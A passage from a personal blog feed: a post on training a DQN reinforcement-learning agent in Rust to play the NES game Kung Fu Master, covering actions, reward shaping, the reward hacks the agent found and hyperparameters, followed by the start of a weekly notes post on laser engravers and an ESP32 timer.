&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Use &lt;span style="color:#e6db74"&gt;`KNIFE_STATE`&lt;/span&gt; to determine active projectiles; treat &lt;span style="color:#e6db74"&gt;`KNIFE_X`&lt;/span&gt; and &lt;span style="color:#e6db74"&gt;`KNIFE_Y`&lt;/span&gt; as valid only when the corresponding state is nonzero.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### Enemy Energy Behavior
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 1-hit enemies: &lt;span style="color:#e6db74"&gt;`ENEMY_ENERGY`&lt;/span&gt; reads &lt;span style="color:#e6db74"&gt;`0x00`&lt;/span&gt; while active; on death it becomes &lt;span style="color:#e6db74"&gt;`0xFF`&lt;/span&gt; momentarily.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 2-hit enemies: &lt;span style="color:#e6db74"&gt;`ENEMY_ENERGY`&lt;/span&gt; starts at &lt;span style="color:#e6db74"&gt;`0x01`&lt;/span&gt;; after the first hit it becomes &lt;span style="color:#e6db74"&gt;`0x00`&lt;/span&gt;; on the killing hit it becomes &lt;span style="color:#e6db74"&gt;`0xFF`&lt;/span&gt; momentarily.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="action-with-great-power-comes-great-responsibility"&gt;Action: With great power, comes great responsibility&lt;/h2&gt;
&lt;p&gt;On the surface, the game has 6 controls. Left, Right, Up, Down, Kick, Punch. The first two naive ways I built up my action space failed spectacularly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Just have the above 6 basic controls as available actions each frame. This failed because often you want to do something like jump AND kick. Or kick someone behind you, or crouch and punch, etc. So this limited action space wasn&amp;rsquo;t enough for the agent to progress.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Next I built up a huge action space of all possible combos. This failed as well because the state became too sparse and a lot to choose from. Maybe the agent would&amp;rsquo;ve ultimately learnt from it but it might taken several times more training. who knows!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sometimes, the best action is no action. yes, I didn&amp;rsquo;t have any &lt;code&gt;NOOP&lt;/code&gt; aka do nothing action. This was quite pivotal moment that was useful when the player should actually just wait for the enemy to make a move&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Finally I created an action space of these 13 combos, the thinking being that the player can just not do anything, move in a direction without attacking, or attack with a direction (Just kicking is still same as kicking in the same direction as you are facing)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Link: &lt;a href="https://github.com/shantanugoel/kungfu_nes_rl_rust/blob/main/src/env.rs"&gt;https://github.com/shantanugoel/kungfu_nes_rl_rust/blob/main/src/env.rs&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;pub&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;enum&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Action&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Noop &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Right &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Left &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Crouch &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Jump &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; RightPunch &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; RightKick &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; LeftPunch &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; LeftKick &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; CrouchPunch &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; CrouchKick &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; JumpPunch &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; JumpKick &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="reward-reward-shaping-is-behavioral-psychology-in-code"&gt;Reward: Reward shaping is behavioral psychology in code&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Goodhart&amp;rsquo;s Law: When a measure becomes a target, it ceases to be a good measure.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This was the second most time consuming and head scratching aspect in the whole project. It was as if I wasn&amp;rsquo;t writing code, but was trying to be a &lt;em&gt;Parent&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;After doing this over the last week, I have new found respect for game developers who find balance in much much more complex games of day! Because the agent behaves just like a human on capitalising on the rewards it is presented with!&lt;/p&gt;
&lt;p&gt;The situation needs a multi-fold analysis:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What to reward for&lt;/li&gt;
&lt;li&gt;Which ones should be positive or negative&lt;/li&gt;
&lt;li&gt;How much to reward for each&lt;/li&gt;
&lt;li&gt;Normalization within each reward and then across them as well&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In terms of the &lt;code&gt;What&lt;/code&gt;, I started with the basics:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reward
&lt;ul&gt;
&lt;li&gt;Score Delta: I knew that this should be a delta rather than the score itself so I could reward each kill. I did add a normalization factor because the score delta could be 100-500 for regular kills (excluding boss) which was quite high compared to other rewards&lt;/li&gt;
&lt;li&gt;Kill counter: As above, but didn&amp;rsquo;t need normalization since it was just 1 each&lt;/li&gt;
&lt;li&gt;Floor completion bonus - To egg the agent to complete the floor&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Punish
&lt;ul&gt;
&lt;li&gt;Losing Health / Receiving Damage: To tell the agent to avoid losing health. With scaling / Normalization&lt;/li&gt;
&lt;li&gt;Death: The top punisher, to be completely avoided&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The idea was reward attacking, and punish getting attacked. Simple enough. And it did achieve some results but not that great.&lt;/p&gt;
&lt;p&gt;I was brainstorming reward balancing with Gemini and it gave me this advice which was pivotal:
&lt;img src="https://shantanugoel.com/img/2026/gemini-advice.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;Agent behavior I observed, as I went through 100s of millions of timesteps of training and kept rebalancing things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Kill Farmer&lt;/strong&gt;: I woke up after a training run and was amazed to see a top high score of around 40000, which is super high. But what I found out amazed me. The agent had learnt, as Gemini predicted, that there is no point in moving around and he could just stand at a place, let the enemies come to him and just keep killing them till the time runs out.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Risk Averse Family Man&lt;/strong&gt;: Agent learnt to defend itself well. It was fun to see when 1 or even 2 knifers appeared on the screen and it dodged their thrown knives in perfect tandem for several seconds.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Chuck Norris&lt;/strong&gt;: The agent would move towards completing the level but it would be too &lt;em&gt;throw caution to the wind&lt;/em&gt; guy, trading blows, losing its own health but being happy with &lt;code&gt;you should have seen the other guy&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Specialist Who Forgot&lt;/strong&gt;: Finally, the agent learnt a simple trick to beat the game and optimize for the shortest path to success, even though it had learnt to fight and defend pretty well. &lt;strong&gt;Just run&lt;/strong&gt;. It learnt that the more time you take to move towards the boss, the more enemies the game keeps throwing at you. If you move faster, the less enemies you have to tackle, the more health you have left to fight the boss at the end of the level. You will see in the video at the end of this post, that it ran so fast that it didn&amp;rsquo;t even let the knife throwers appear at all. What&amp;rsquo;s even more interesting is that it &lt;code&gt;forgot&lt;/code&gt; to dodge/fight them. Earlier he was pretty good but as he learnt this new trick, he probably determined that his brain cells probably dont need to spend important storage space towards retaining information about the knife throwers at all. So in those late runs, it couldn&amp;rsquo;t do as well against them when they appeared some times due to timing. You will see this behavior as well if you load the final weights from my code repository to try it out. But if you loaded one from the middle of the training run, it&amp;rsquo;d be a killing machine against the knife throwers as well.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Glitch Exploiter&lt;/strong&gt;: He even found a couple of pecularities in the game. He found that if a knifer appears and he hugs the right wall, no new enemies will come from behind him. He also found a glitch that if he just kept running into the boss and pushed him into a corner, the boss will never be able to him. In both these cases, the only thing that made him die was the time out.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The TrickMeister&lt;/strong&gt;: There&amp;rsquo;s a mechanic in the game that if you get grabbed by the grabbers, you can&amp;rsquo;t move until you do a special move of jiggling the direction keys back and forth. Surprisingly, the agent figured that out. And whenever he got grabbed, he does this move to be freed. This can be seen even in the video I&amp;rsquo;ve linked to at the bottom. It also figured out that the boss always brings down his baton from the top, even if its attacking low, and has a 1-1.5 second of wind up. So the least risky and fastest way to defeat it was to crouch (to delay getting hit by a baton coming down) and give a few quick low kick jabs because of their longer range even though a punch does higher damage.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As a result, I made a ton of changes over 100s of training runs finally settling on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Scaled down score delta rewards, and scaled up health/death punishment so it is more likely to save its health to actually complete the level and not just kill or defend all the time. I tweaked this a lot and this was a very difficult balance to get right.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Removed kill counter as it didnt provide an additional signal but added some positive noise due to double counting via score.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added an enemy energy drain reward for multi-hit enemies like knife throwers otherwise when they didn&amp;rsquo;t die in a single hit, the agent used to think that there&amp;rsquo;s no point in hitting them since they won&amp;rsquo;t die anyways, and so if a knife thrower appears he should just throw in the towel.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added a movement reward: This was very interesting to implement because of the game&amp;rsquo;s coordinate mechanics I talked about earlier, plus the game throws a few glitches your way by randomly glitching out x/y values often but once i implemented this properly and gave it a reward in proportion to the score delta, and a bit higher for reaching the boss, it made the agent really try to move forward&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added a tiny punishment for wasting time. More the time spent in the middle, the more it would cut points from the agent. This pushed the agent to get a move on, and not wait to get through the things eventually.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finally I did a lot of tweaks to scale them to appropriate ranges, my aim being that the overall rewards should not become too small or too small (to avoid vanishing or exploding gradients issues).&lt;/p&gt;
&lt;p&gt;Link: &lt;a href="https://github.com/shantanugoel/kungfu_nes_rl_rust/blob/main/src/env.rs"&gt;https://github.com/shantanugoel/kungfu_nes_rl_rust/blob/main/src/env.rs&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;impl&lt;/span&gt; Default &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; RewardConfig {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;default&lt;/span&gt;() -&amp;gt; &lt;span style="color:#a6e22e"&gt;Self&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Self {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; energy_damage_multiplier: &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; max_valid_score_delta: &lt;span style="color:#ae81ff"&gt;5_000&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; score_divisor: &lt;span style="color:#ae81ff"&gt;100.0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; max_score_reward: &lt;span style="color:#ae81ff"&gt;5.0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; reward_scale: &lt;span style="color:#ae81ff"&gt;0.1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hp_damage_multiplier: &lt;span style="color:#ae81ff"&gt;0.50&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hp_delta_sanity_bound: &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; movement_reward_per_pixel: &lt;span style="color:#ae81ff"&gt;0.15&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; max_movement_delta: &lt;span style="color:#ae81ff"&gt;128&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; max_valid_movement_delta: &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; floor_completion_bonus: &lt;span style="color:#ae81ff"&gt;20.0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; boss_damage_multiplier: &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; time_penalty: &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.002&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; death_penalty: &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;20.0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; max_energy_drop: &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="hyperparameters-the-hidden-sauce-to-mastering-stability"&gt;Hyperparameters: The hidden sauce to mastering stability&lt;/h2&gt;
&lt;p&gt;DQN can be fragile. Early training runs looked promising, and then collapsed. Q-values explored, policies oscillated, and the agent would forget what it had just learned. The rewards can be noisy because exploration adds randomness. Yet, you can never drop randomness (epsilon) too much because the game randomizes enemy behavior unlike games like Super Mario. So you dont want the agent learning a specific level but expect stochasticity.&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s no easy way to determine these. There are some typical things that you can take from earlier attempts but ultimately one needs to tweak this for the problem at hand. I had to slow down the learning rate, have a longer warm period before training, a bigger replay buffer, and many more. This makes all the difference between cramming for an exam and spaced repetition, or between getting lucky or truly acing with talent.&lt;/p&gt;
&lt;p&gt;I played around with the below parameters, making them more configurable at every turn, and dusting out every single laptop in the house to run parallel training runs.&lt;/p&gt;
&lt;p&gt;Link: &lt;a href="https://github.com/shantanugoel/kungfu_nes_rl_rust/blob/main/src/dqn.rs"&gt;https://github.com/shantanugoel/kungfu_nes_rl_rust/blob/main/src/dqn.rs&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;impl&lt;/span&gt; Default &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; AgentConfig {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;default&lt;/span&gt;() -&amp;gt; &lt;span style="color:#a6e22e"&gt;Self&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Self {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hidden_size: &lt;span style="color:#ae81ff"&gt;512&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; dueling_hidden_size: &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; gamma: &lt;span style="color:#ae81ff"&gt;0.99&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; epsilon_start: &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; epsilon_end: &lt;span style="color:#ae81ff"&gt;0.01&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; epsilon_decay_steps: &lt;span style="color:#ae81ff"&gt;1_000_000&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tau: &lt;span style="color:#ae81ff"&gt;0.005&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; max_grad_norm: &lt;span style="color:#ae81ff"&gt;10.0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; initial_lr: &lt;span style="color:#ae81ff"&gt;6.25e-5&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; weight_decay: &lt;span style="color:#ae81ff"&gt;1e-5&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lr_decay_start: &lt;span style="color:#ae81ff"&gt;1_000_000&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lr_decay_factor: &lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; total_timesteps: &lt;span style="color:#ae81ff"&gt;5_000_000&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; replay_capacity: &lt;span style="color:#ae81ff"&gt;1_000_000&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; batch_size: &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; learn_start: &lt;span style="color:#ae81ff"&gt;20_000&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; train_freq: &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="confession-the-game-has-moods-and-so-does-the-system"&gt;Confession: The game has moods, and so does the system&lt;/h2&gt;
&lt;p&gt;I said all we need for RL is state, action, rewards, right? I lied!&lt;/p&gt;
&lt;p&gt;There are a lot of other areas that trip up the learning even though they have nothing to do with the state or actions.&lt;/p&gt;
&lt;p&gt;Kung Fu Master spends a lot of time not being playable: Title screens, countdowns, player walking through half of the screen on its own at the start of the screen, death animations, game over, and more. Early on, the agent was collecting transitions in many of these states, which is like expecting a student to learn while the class is on recess, the teacher is nowhere to be found and the whiteboard is empty. I had to create a state machine that became a bit too complex for my taste but it was important to learn only when the game is in real play with the agent being really in control.&lt;/p&gt;
&lt;p&gt;Another eureka moment for me was to limit each episode of the training run to each life, instead of the full game of 3 lives.&lt;/p&gt;
&lt;p&gt;Finally, I had to overcome the system as well in many ways. Sometimes the runs would crash so I had to add a way to resume. Candle had bugs in memory leaks that lead to usage of 10s of GBs of RAM and swapping to the disk that I had to fix. A bug in the upstream &lt;code&gt;tetanes&lt;/code&gt; crate lead me to not be able to use headless mode limiting the perf significantly which I fixed after pouring over the workings of the NES&amp;rsquo;s 6052 processor for days and pushed a fix upstream (merged now!)&lt;/p&gt;
&lt;h2 id="our-boy-is-finally-all-grown-up"&gt;Our boy is finally all grown up!&lt;/h2&gt;
&lt;p&gt;Well, it&amp;rsquo;s all done! The journey to get this running felt like watching your kid learn to stand on his legs and then start running.&lt;/p&gt;
&lt;p&gt;After 100+ training runs, billions of timesteps, and countless adjustments to rewards, the agent mastered Floor 1. It speed-runs through the level, exploits game mechanics I didn&amp;rsquo;t know existed, and beats the boss with ruthless efficiency.&lt;/p&gt;
&lt;p&gt;But here&amp;rsquo;s what I&amp;rsquo;ll remember most: Every time the agent &amp;ldquo;misbehaved,&amp;rdquo; it was actually being totally rational within the constraints I gave it. Kill farming? That&amp;rsquo;s what I rewarded. Forgetting old skills? That&amp;rsquo;s efficient resource allocation. Finding shortcuts? That&amp;rsquo;s problem-solving.&lt;/p&gt;
&lt;p&gt;The agent held up a mirror. How many times do we optimize for the wrong metrics? Chase points instead of purpose? Take the path of least resistance when the scenic route teaches more?&lt;/p&gt;
&lt;p&gt;Building this taught me that intelligence - artificial or biological - isn&amp;rsquo;t about having the right capabilities. It&amp;rsquo;s about having the right incentives.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What would you optimize for if you could redesign your own reward function?&lt;/strong&gt;&lt;/p&gt;
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;"&gt;
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/ex4-vG6TZXk?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;PS: This is ONE of the runs, from one of the many different types of trainings I did. You can play around with the configurations I have done in my code and generate your own playstyle or maybe try to conquer the next floor if you are feeling upto reverse engineering some NES code :D&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The full code is available on &lt;a href="https://github.com/shantanugoel/kungfu_nes_rl_rust"&gt;GitHub&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></item><item><title>Bytes and TIL For Week 52 2025</title><link>https://shantanugoel.com/2025/12/31/bytes-til-week-52-2025/</link><pubDate>Wed, 31 Dec 2025 16:59:08 +0530</pubDate><guid>https://shantanugoel.com/2025/12/31/bytes-til-week-52-2025/</guid><description>&lt;h2 id="laser-engravers"&gt;Laser Engravers!&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Thought about buying a portable laser engraver, started with xTool F1 Lite and almost settled on xTool F2&lt;/li&gt;
&lt;li&gt;Seemed small enough to be portable so I can use it in my balcony to avoid venting complications&lt;/li&gt;
&lt;li&gt;F2 also has a higher power diode laser than F1 Lite, and a small IR laser for some acrylic/metal work too!&lt;/li&gt;
&lt;li&gt;But then decided against it finally. Unsure how much I&amp;rsquo;m going to use it for all the hassle. Maybe some day!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="some-notes-about-electronics"&gt;Some notes about electronics&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Pomodoro cube&lt;/p&gt;</description><content>&lt;h2 id="laser-engravers"&gt;Laser Engravers!&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Thought about buying a portable laser engraver, started with xTool F1 Lite and almost settled on xTool F2&lt;/li&gt;
&lt;li&gt;Seemed small enough to be portable so I can use it in my balcony to avoid venting complications&lt;/li&gt;
&lt;li&gt;F2 also has a higher power diode laser than F1 Lite, and a small IR laser for some acrylic/metal work too!&lt;/li&gt;
&lt;li&gt;But then decided against it finally. Unsure how much I&amp;rsquo;m going to use it for all the hassle. Maybe some day!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="some-notes-about-electronics"&gt;Some notes about electronics&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Pomodoro cube&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Built a pomodoro cube/ADHD timer from ESP32. Code: &lt;a href="https://github.com/shantanugoel/pomodoro_cube"&gt;https://github.com/shantanugoel/pomodoro_cube&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote
class="instagram-media"
data-instgrm-captioned
data-instgrm-permalink="https://www.instagram.com/p/DSj4VHdEdyN"
data-instgrm-version="14"
style="
background: #fff;
border: 0;
border-radius: 3px;
box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);
margin: 1px;
max-width: 540px;
min-width: 326px;
padding: 0;
width: 99.375%;
width: -webkit-calc(100% - 2px);
width: calc(100% - 2px);
"
&gt;
&lt;div style="padding: 16px"&gt;
&lt;a
href="https://www.instagram.com/p/DSj4VHdEdyN"
style="
background: #ffffff;
line-height: 0;
padding: 0 0;
text-align: center;
text-decoration: none;
width: 100%;
"
target="_blank"
&gt;
&lt;div style="display: flex; flex-direction: row; align-items: center"&gt;
&lt;div
style="
background-color: #f4f4f4;
border-radius: 50%;
flex-grow: 0;
height: 40px;
margin-right: 14px;
width: 40px;
"
&gt;&lt;/div&gt;
&lt;div
style="
display: flex;
flex-direction: column;
flex-grow: 1;
justify-content: center;
"
&gt;
